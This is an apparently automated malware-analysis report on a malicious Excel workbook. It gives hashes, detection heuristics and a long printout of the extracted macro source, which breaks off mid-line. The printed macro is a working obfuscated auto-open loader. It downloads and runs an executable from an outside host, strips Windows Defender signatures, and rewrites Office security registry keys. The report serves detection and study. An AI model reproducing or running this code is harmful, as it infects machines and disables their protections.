Office (OOXML) malware analysis — malicious · 601f561ef81acc5f

MALICIOUS

Office (OOXML)

28.4 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-23

MD5: b8f3bd05ba309b145a93bf03c3f97106 SHA-1: c79a2d7427dbd7a05e1faf4e894dccfbf98304eb SHA-256: 601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921

330 Risk Score

Heuristics 8

ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set AlWhaWu8AmxahJAs = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set AlWhaWu8AmxahJAs = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))))

cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA

Matched line in script

    BypassWindowsDefender2 = ("cmd /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit")

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://lokipanelhostingpanel.gq/work/worknew/16.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	30045 bytes
SHA-256: `0c9e84db13e4912ee9c651c9013eec9315ab78be64bc8ee32dc0ae982540acd5`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub asdasd() End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Set AlWhaWu8AmxahJAs = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc")))) Dim Al89AwnAmxahJAs1 Dim Al89AwnAmxahJAs2 Dim Al89AwnAmxahJAs3 Dim Al89AwnAmxahJAs4 Dim Al89AwnAmxahJAs5 Dim Al89AwnAmxahJAs6 Dim Al89AwnAmxahJAs7 Dim Al89AwnAmxahJAs8 Dim Al89AwnAmxahJAs9 Dim Al89AwnAmxahJAs010 Dim Al89AwnAmxahJAs011 Dim Al89AwnAmxahJAs012 Dim Al89AwnAmxahJAs013 Dim Al89AwnAmxahJAs014 Al89AwnAmxahJAs1 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ÍÇ×ö·E4A5;7C4D4A51", "TgWG7VA53")), oeAP6pzCT(OasWAPbO8("Áß", "BYT1azrB2"))) Al89AwnAmxahJAs2 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ošR†³0744F5D17754C", "DoNxZguQ1")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj"))) Al89AwnAmxahJAs3 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("üÚ hˆ´7703765C5657", "ipn7THdxU")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu"))) Al89AwnAmxahJAs4 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ü¡ o�²504;5:107@4;", "rFso2s0dw")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))) Al89AwnAmxahJAs5 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Úà„Y‰²6D4@565C0D16", "LObQsXXaK")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))) Al89AwnAmxahJAs6 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("²T) F055575:4C4F6D", "VIkSB2NvR")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) Al89AwnAmxahJAs7 = "ile('http://lokipanelhostingpanel.gq/work/worknew/16.exe'," Al89AwnAmxahJAs8 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("¾^ ‹¸7F4C56534@0F465@", "lbuWdpTJ2")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj"))) Al89AwnAmxahJAs9 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Y�ö¹6G575;5C1;1:16", "BUfrtZblR")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))) Al89AwnAmxahJAs010 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("D§çäv?2A0G627:", "dPQcCP0tL")), oeAP6pzCT(OasWAPbO8("�]", "zpkk04ZFi"))) Al89AwnAmxahJAs011 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ÙØöµ745:137654", "Nj3dP7ydz")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))) Al89AwnAmxahJAs012 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ÅÚæ–vF7454010C0:", "XguH9uD4N")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK"))) Al89AwnAmxahJAs013 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Eç÷Å6@57504A0G475A5D", "cMxoB3anl")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) Al89AwnAmxahJAs014 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("\|¯ ‰µ7;5C1;1:164@5G4@0F", "eYq7Pyh2T")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))) Al89AwnAmxahJAs20 = Al89AwnAmxahJAs1 + Al89AwnAmxahJAs2 + Al89AwnAmxahJAs3 + Al89AwnAmxahJAs4 + Al89AwnAmxahJAs5 + Al89AwnAmxahJAs6 + Al89AwnAmxahJAs7 + Al89AwnAmxahJAs8 + Al89AwnAmxahJAs9 + Al89AwnAmxahJAs010 + Al89AwnAmxahJAs011 + Al89AwnAmxahJAs012 + Al89AwnAmxahJAs013 + Al89AwnAmxahJAs014 AlWhaWu8AmxahJAs.Run Al89AwnAmxahJAs20, vbHide Set tskkill = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc")))) Dim STArTkwZkill STArTkwZkill = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("�g©qH8061145065:47554D4D4F525206114C06114F53065@4F505@51544:104;5A4;060C064;5A4F5:06", "jwzZdxiO2")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))) tskkill.Run STArTkwZkill, vbHide Set tskkillword = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc")))) Dim STArTkwZkillword STArTkwZkillword = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("µ7545G4A5;5C4D4A515105167G52574@545G7C5@:2514A056D524@4@4A57055@4:5C505052515105144F05145256056A5D4C4A51174A5D4A", "h8nAMFNzr")), oeAP6pzCT(OasWAPbO8("Áß", "BYT1azrB2"))) tskkillword.Run STArTkwZkillword, vbHide Set BypassWindows = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc")))) Dim BypassWindowsDefender BypassWindowsDefender = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("JÏÇÓöÁ24174;04544D564F041156041;0450574;45504G575;5C040A044D544;57564A4D4F175:4@504@455;4@040A044D544;57564A4D4F175:4@504@455;4@040A044D544;57564A4D4F175:4@504@455;4@040A04544D564F041156041;0450574;45504G575;5C040A04544D564F041156041;0450574;45504G575;5C040A044@5G4D5C", "wd4S5tw7P")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))) Set BypassWindows2 = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc")))) Dim BypassWindowsDefender2 BypassWindowsDefender2 = ("cmd /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit") BypassWindows2.Run BypassWindowsDefender2, vbHide Set wso = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc")))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("fŸdÝtJ547F765245575:4051447F6G4C465152565245577F7245454C46447F10100D137F7:5251477F76444654514C575C7F7561607:40514D4C4D4:56", "oHVs9mjr1")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("rÏ zJ5757G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111612107G7;5356447G77454755564@545@7G7:66617;4156524@524;57", "MhNvN7gpu")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("\|Í xJ77;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;42171:1016427@51544:42754;455;544F5:5F427C64677@4754504F504@55", "lVdweEtNB")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ìõU�´97@407;574A5C5F455:4@40714D4;5:575;574A5C40774A4A4D4;4@40151@1614407F575:4C407;4@4;5@5:4D5C5D407A6:657F455:564D564F5;", "ZRPEdVizM")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("¸] oŠ¹5@407;574A5C5F455:4@40714D4;5:575;574A5C40774A4A4D4;4@40151A1614407F575:4C407;4@4;5@5:4D5C5D407A6:657F455:564D564F5;", "SGDpAl6Q1")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ÂÉÔƒ´4747F765245575:4051447F6G4C465152565245577F7245454C46447F10100D137F73525:445173524C4D577F76444654514C575C7F7561607:40514D4C4D4:56", "dmJReyaM3")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Ò“” J77;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;42171410164276515@4;5476514F505:42754;455;544F5:5F427C64677@4754504F504@55", "dBCL4zMcd")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("zßt:47757G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111412107G70535;455670534@52547G77454755564@545@7G7:66617;4156524@524;57", "AyLEhJSCK")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" š$Šµ557G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111512107G70535;455670534@52547G77454755564@545@7G7:66617;4156524@524;57", "xmfOn4eCP")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("+ K46A7G477A5:4D5F:24C5@4G4774504A5@5:5A5:4D5F477:4D4D504A4G471C1D151;477;5::24G5@7;5:50555F477A4G4A5G5@505F:0477D6@6C424C5@555055525A", "erc1ocIir")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("” K16;7@407;574A5C5F455:4@40714D4;5:575;574A5C40774A4A4D4;4@4015151614406@5G4;4@50407;4@4;5@5:4D5C5D407A6:657F455:564D564F5;", "hE7KYrjKs")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("¨{Z˜ô·5;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;4217141016426;5A454;5242754;455;544F5:5F427C64677@4754504F504@55", "csycHolhn")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("<L{J67:7D74504;555C46574:7D724A44575054504;557D704;4;4A444:7D161513117D6:5@444:4D7D744:445:574A555A7D7;67667C4657534A534C54", "j3hPClAv2")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Ÿh›SŠÂ5F467@554G5A5D4;5C4F4677534@5C555@554G5A46754G4G534@4F461;1F141:466F:24@4F56467@4F4@5F5C535A:3467G6C6;7D4;5C5453544D5@", "jWbCZiKgl")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ƒ@ëó´B7F467@554G5A5D4;5C4F4677534@5C555@554G5A46754G4G534@4F461;1G141:466F:24@4F56467@4F4@5F5C535A:3467G6C6;7D4;5C5453544D5@", "KCiZWoTPV")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("i‡EêôÃ5G477A5:4D5F:24C5@4G4774504A5@5:5A5:4D5F477:4D4D504A4G471C1C151;47425:5@4F477A4G4A5G5@505F:0477;5@5:5F4G4A5F4G4F7D504G:2476F505A4C4@574G70555F4G5@554G5F6D50574G5A70557;7D", "O9pRYCpNA")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" {K16;7@407;574A5C5F455:4@40714D4;5:575;574A5C40774A4A4D4;4@4015151614407F575:4C407;4@4;5@5:4D5C5D40745:575C4@4;5C4@4C7A4D4@5F406C4D5;454:504@655C5C454;4G4@514@565C5;6D56747A", "WtIkA0VAw")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Õñµ46A7G477A5:4D5F:24C5@4G4774504A5@5:5A5:4D5F477:4D4D504A4G471C1C151;47425:5@4F477A4G4A5G5@505F:0477;5@5:5F4G4A5F4G4F7D504G:2476F505A4C4@574G7G555A4C4D4G775:4A4C5F505:555A70557;7D", "vfsPkXVXJ")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Sÿ•tJC7G477A5:4D5F:24C5@4G4774504A5@5:5A5:4D5F477:4D4D504A4G471C1C151;477;5::24G5@7;5:50555F477A4G4A5G5@505F:0477;5@5:5F4G4A5F4G4F7D504G:2476F505A4C4@574G70555F4G5@554G5F6D50574G5A70557;7D", "Y3L9rlI3C")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ˆ;Ú¦ô·5;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;42171710164276515@4;5476514F505:42754;455;544F5:5F427654515:4;455:4;4:7C4F4;5@426:4F554744524;675:5:47454A4;534;505:556F50767C", "GQi5aNLYX")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("øÞ lŠÁ5A417C544F5@5G4:5;4A4176524C5;545C544F5@41744F4F524C4A411:1:17154175545G4A5;755452575@417C4A4C5A5;525@:241755;545@4A4C5@4A4@7F524A5G416@525C4:4;514A7A575C4:4F4A71544C4:5@5254575C7257757F", "rQb57vUam")), oeAP6pzCT(OasWAPbO8("Áß", "BYT1azrB2"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("n÷Dšôµ557G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111112107G655C47454G7G77454755564@545@7G7056535445475445447:4@455;7G644@5741464G456@525445565245546:4@4G45576@52707:", "xsNe2X71B")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("¨\|[îô¸5C437:564@5;5A44554C43704G4:55565:564@5;43764@4@4G4:4C4314141117436C5F4:4C53437:4C4:5C554G5;5G437755565;4C4:5;4C4;7@4G4C5A436;4G5:4445534C645;5;444:4F4C504C515;5:6G51777@", "hnuWHNiCC")), oeAP6pzCT(OasWAPbO8("�]", "zpkk04ZFi"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("øÙ Šµ557G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111112107G655C47454G7G77454755564@545@7G7056535445475445447:4@455;7G644@5741464G45755257414:456G534741544@5352576@52707:", "ePFcoGFRG")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("JD726:7C437:564@5;5A44554C43704G4:55565:564@5;43764@4@4G4:4C4314151117437A56554;437:4C4:5C554G5;5G437755565;4C4:5;4C4;7@4G4C5A436;4G5:4445534C6G515;4C55514C5;6@4G534C5:6G51777@", "VvPo5ZOs7")), oeAP6pzCT(OasWAPbO8("�]", "zpkk04ZFi"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ž š%Š¶5:7D74504;555C46574:7D724A44575054504;557D704;4;4A444:7D161713117D7C5057457D744:445:574A555A7D715750554:44554:457;4A4:5C7D654A5446474D4:66555546444@4:524:5355546A53717;", "K7FFQ8xyY")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("53766A7G477A5:4D5F:24C5@4G4774504A5@5:5A5:4D5F477:4D4D504A4G471C1@151;47425:5@4F477A4G4A5G5@505F:0477;5@5:5F4G4A5F4G4F7D504G:2476F505A4C4@574G7G555A4C4D4G775:4A4C5F505:555A70557;7D", "VL01XCZJ7")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ã�UŠ´C7G477A5:4D5F:24C5@4G4774504A5@5:5A5:4D5F477:4D4D504A4G471C1@151;477;5::24G5@7;5:50555F477A4G4A5G5@505F:0477;5@5:5F4G4A5F4G4F7D504G:2476F505A4C4@574G70555F4G5@554G5F6D50574G5A70557;7D", "LS0VInbxF")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" 3ÛÑô¹5@407;574A5C5F455:4@40714D4;5:575;574A5C40774A4A4D4;4@40151:16144074575F4@5:74574D565C407;4@4;5@5:4D5C5D40745:575C4@4;5C4@4C7A4D4@5F406C4D5;454:504@655C5C454;4G4@514@565C5;6D56747A", "fuC4DQonU")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("«qK46A7G477A5:4D5F:24C5@4G4774504A5@5:5A5:4D5F477:4D4D504A4G471C1@151;477;5::24G5@7;5:50555F477A4G4A5G5@505F:0477;5@5:5F4G4A5F4G4F7D504G:2476F505A4C4@574G7G555A4C4D4G775:4A4C5F505:555A70557;7D", "H7KME15Rh")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("&ezØtI5;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;4217141016426;5A454;5242754;455;544F5:5F427654515:4;455:4;4:7C4F4;5@426:4F554744524;6F505:4;54504;5:6C4F524;556F50767C", "ANVO0NvCa")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("4;6A66747F765245575:4051447F6G4C465152565245577F7245454C46447F10110D137F645;46444F7F76444654514C575C7F735152574446574447754C445:7F674C5640414F4460575740464;444G444D57566C4D7375", "xxKpkNUuE")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("~¯ Š´547F765245575:4051447F6G4C465152565245577F7245454C46447F10110D137F645;46444F7F76444654514C575C7F735152574446574447754C445:7F674C5640414F44744D564045446F524640574C524D566C4D7375", "KkkaNsWqQ")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("¼QzJ5757G77534:545;4156457G6D4@47565357534:547G734:4:4@47457G111412107G7;5356447G77454755564@545@7G7056535445475445447:4@455;7G644@5741464G456@525445565245546:4@4G45576@52707:", "afbDBaQC7")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ìóTø´77;4275514C5:5@47544;42734F45545155514C5:42714C4C4F454;42171:1016427@51544:42754;455;544F5:5F427654515:4;455:4;4:7C4F4;5@426:4F554744524;675:5:47454A4;534;505:556F50767C", "Jsec9KJWz")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D"))), 1, uuKnhm8qI(oeAP6pzCT(OasWAPbO8(" $úåuN6:6F427:7@6F", "ffgARYN85")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg"))) wso.RegWrite 